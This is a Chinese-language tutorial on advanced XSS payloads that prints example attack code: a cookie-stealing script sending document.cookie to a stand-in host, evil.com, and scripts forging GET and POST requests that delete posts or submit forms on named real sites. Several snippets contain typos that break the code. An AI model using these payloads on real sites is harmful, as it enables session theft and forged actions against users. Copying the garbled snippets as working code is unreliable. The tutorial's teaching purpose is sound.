『跨站脚本攻击』XSS攻击进阶——XSS payload
什么是 XSS payload
当发现网站存在XSS漏洞时,攻击者能够对该网站植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为XSS Payload。
XSS Payload实际上就是JavaScript脚本(还可以是 Flash或其他富客户端的脚本),所以任何JavaScript脚本能实现的功能,XSS Payload都能做到
最常见的XSS payload——Cookie劫持
概念
最常见的XSS Payload,就是通过读取浏览器的Cookie对象,从而发起“Cookie劫持”攻击。
Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。换句话说,攻击者可以不通过密码,而直接登录进用户的账户。
例子
如下所示,攻击者可以先构造一个含恶意参数的url
1
http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js ></script>
加载一个远程脚本,真正的XSS Payload写在远程脚本
evil.js
中。这样可以避免直接在URL的参数里写入大量的JavaScript代码。
在
evil.js
中,可以通过如下代码窃取Cookie:1
2
3var img -document.createElement("img");
img.src = "http://www.evil.com/log?" + escape (document.cookie);
document.body.appendChild(img);当用户访问这个构造的url时执行脚本,这段代码在页面中插入了一张看不见的图片,同时把 docnment cookie对象作为参数发送到远程服务器。
这样就实现了cookie 的劫持
在成功实现XSS攻击后,除了cookie劫持之外,攻击者还有很多更强大的 XSS payload来控制用户的浏览器
构造GET和POST请求
原理
一个网站的应用,只需要接受HTTP协议中的GET 或 POST请求,即可完成所有操作。对于攻击者来说,仅通过JavaScript,就可以让浏览器发起这两种请求。
构造GET请求例子
假设某博客网站存在XSS漏洞,我们如何通过XSS漏洞来删除掉博客上的某篇文章?
假设正常删除该文章的链接是:
1
http://blog.sohu.com/manage/entry.do?m=delete&id=156713012
攻击者可以构造一段javascript代码(XSS Payload)如下,
这段代码中,通过插入一个img标签来发起一个GET请求,从而对删除文章的链接发出了请求
1
2
3var img = document.createElement("img");
img.src = "http://blog.sohu.com/manage/entry.do?m=delete&id=156713012";
document.body.appendChild(img);后续,攻击者只需要通过XSS漏洞诱使用户执行这段XSS Payload,就会删除这篇文章
构造POST请求例子
如果网站上只有一个表单,即仅接收POST请求,如何实施XSS攻击?
可以通过两种方法实现攻击:
1)构造一个form表单,自动提交这个表单
a. 一个个构造DOM节点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16var f = document.createElement ("form");
f.action = "";
f.method = "post";
document.body.appendChild(f);
var i1 = document.createElement ("input");
i1.name = "ck";
i1.value = "JiUY";
f.appendchi1d(i1);
var i2 = document.createElement("input”);
i2.name = " mb_text";
i2.value = "testtesttest";
f.appendchild(i2);
f.submit();如果表单的参数很多的话,通过构造DOM 节点的方式,代码将会非常冗长。所以可以使用第二种方法,直接写HTML代码,这样会使得整个代码精简很多。
b. 直接构造HTML代码,如下所示:
1
2
3
4
5
6
7var dd = doeument.createElement ("div");
document.body.appendchild(dd);
dd.innerHTML = '<form action="" method="post" id="xssform" name="mbform"> +
'<input type ="hidden" value = "JiUY" name="ck"/>' +
'<input type="text" value="testtesttest" name = "mb_text”/>' +
'</form>'
document.getElementById("xssform").submit();
2)通过 XMLHttpRequest 发送一个 POST 请求
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22var url = "http://www.douban.com";
var postStr = "ck=JiUY &mb text-test1234";
var ajax =nul1;
if(window.XMLHttpReguest){
ajax =new XMLRttpRequest();
}
else if (window.Activexobject){
ajax = new ActiveXobjeet("Microsoft.XMLHTTP");
}
else{
return;
}
ajax.open("POST", url, true);
ajax.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);
ajax.onreadystatechange = function(){
if (ajax.readystate- 4&& ajax.status == 200){
alert("Done!");
}
}
XSS钓鱼
XSS并非万能。前面的例子都是Javascript脚本,缺少”与用户的交互”,当出现需要与用户进行交互的情况是,如:碰到验证码、修改密码时需要输入旧密码,XSS Payload就会失效。
但我们可以通过其他方法来进行攻击:
- 验证码:XSS Payload可以读取页面的内容,将验证码的图片URL发送到远程服务器上来实施。攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload,从而绕过验证码。
- 修改密码:攻击者可以将XSS与”钓鱼”结合。如:利用 Javascript 在当前页面上”画出”一个伪造的登录框,当用户在登录框中输入用户名和密码后,其密码将被发送到黑客的服务器上。
识别用户浏览器
在很多时候,攻击者为了获取更大的利益,往往需要准确地收集用户的个人信息。比如,如果知道用户使用的浏览器、操作系统,攻击者就有可能实施一次精准的浏览器内存攻击,最终给用户电脑植入一个木马。
如何通过JavaScript脚本识别浏览器版本呢?
通过XSS 读取浏览器的UserAgent对象
1
alert(navigator.userAgent);
但是userAgent是可以伪造的,同时浏览器的一些拓展也可以屏蔽或自定义UA,这个信息不一定准确。
根据浏览器之间的差异识别
根据每种浏览器独有的对象特征识别浏览器的大版本
识别用户安装的软件
知道用户使用的浏览器、操作系统后,可以通过各种方法识别用户安装了的软件
通过浏览器控件的classid检测相应软件
可以通过判断软件对应控件的classid是否存在,来判断用户是否安装了该软件
如下代码检测迅雷的控件
XunLeiBHO.ThunderIEHelper
,如果存在,用户大概率也安装了迅雷软件1
2
3
4
5try {
var Obj = new ActiveXObject('XunLeiBHO.ThunderIEHelper');
} catch (e){
//异常了,不存在该控件
}通过收集常见软件的classid,就可以扫描出用户电脑中安装的软件列表,甚至包括软件的版本。
通过第三方软件
如Flash有一个system.capabilities对象,能够查询客户端电脑中的硬件信息。在XSS Payload中,可以在Flash的ActionScript中读取system.capabilities对象后,将结果通过ExternalInterface传给页面的javascript
其他
在Chrome中有一个特殊的协议: chrome:// ,Chrome的扩展图标可以通过这个协议被访问到。比如Flash Got扩展的图标,可以这样访问:
1
chrome://flashgot/skin/icon32.png
扫描Chrome扩展时,只需在Javascript中加载这张图片,如果加载成功,则扩展存在;反之,扩展就不存在。
CSS History Hack
通过CSS,来发现用户曾经访问过的网站
如果用户曾经访问过某个链接,那么这个链接的颜色会和未访问过的链接颜色不一致。
对应的POC代码见《白帽子讲web安全》P58
搜索引擎好像没有这个情况了,但是google scholar仍然存在,访问过的为紫色
获取用户的真实IP地址
很多时候,用户电脑使用了代理服务器,或者在局域网中隐藏在NAT后面。网站看到的客户端IP地址,是内网的出口IP地址,而并非用户电脑真实的本地IP地址。如何才能知道用户的本地IP地址呢?
可以通过XSS Payload获取客户端的本地IP地址。
javascript本身并没有获取本地IP地址的能力。一般需要第三方软件来完成。
比如,客户端安装了Java环境(JRE),那么XSS就可以通过调用J ava Applet 的接口获取客户端的本地IP地址。
1 | AttackAPI.dom.getInternalIP=function(){ |
还有两个通过API获取本地网络信息的API见《白帽子讲web安全》P61
XSS蠕虫
定义
XSS蠕虫是指一种具有自我传播能力的XSS攻击,破坏力和影响力巨大。XSS蠕虫借助 Ajax技术实现对Web应用程序中存在的 XSS 漏洞进行自动化利用传播,它可以将一些用户数据信息发送给Web应用程序然后再将自身代码传递进入Web应用程序,等到被感染用户访问Web应用程序时,蠕虫自身将又开始进行数据发送感染。
应用场景与条件
一般来说,用户之间发生交互行为的页面,如果存在存储型XSS,则比较容易发起XSSWorm攻击。比如,发送站内信、用户留言等页面,都是xss worm的高发区。
如果一个页面只能由用户个人查看,比如“用户个人资料设置”页面,因为缺乏用户之间互动的功能,所以即使存在XSS,也不能被用于XSS Worm的传播。
例子
第一个重量级的XSS worm —— Samy worm
通过在标签的style属性上构造XSS蠕虫
百度空间蠕虫
在CSS代码后插入js代码
解析:https://blog.csdn.net/qq_33605106/article/details/79756478